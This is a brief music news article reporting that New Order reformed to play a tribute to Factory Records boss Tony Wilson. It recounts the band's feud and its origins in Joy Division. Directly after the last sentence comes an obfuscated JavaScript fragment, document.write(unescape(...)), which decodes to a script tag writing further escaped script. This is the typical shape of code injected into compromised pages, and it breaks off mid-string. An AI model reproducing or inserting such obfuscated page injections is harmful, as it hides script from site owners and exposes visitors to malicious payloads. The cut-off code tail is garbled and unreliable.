New Order reform for tribute

Fans of New Order will be very pleased indeed to find out that they have reformed to play a tribute concert to former Factory Records boss Tony Wilson who died last month.

It was feared that the electronic rock group had split up for good after in fighting between bassist Peter Hook and front man Bernard Sumner just four months ago.

But they have already put their differences behind them after the man who originally discovered them, Wilson, died of a heart attack while recovering from kidney cancer.

Wilson, a Mancunian television news presenter, signed the young gothic, post punk band Joy Division to his new Factory label. In 1980, the troubled singer Ian Curtis committed suicide and the remaining members formed New Order.

Despite having countless hits such as "Blue Monday" and "World In Motion" the band have always suffered from uneasy internal relationships, exacerbated by alcohol and drug use.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22
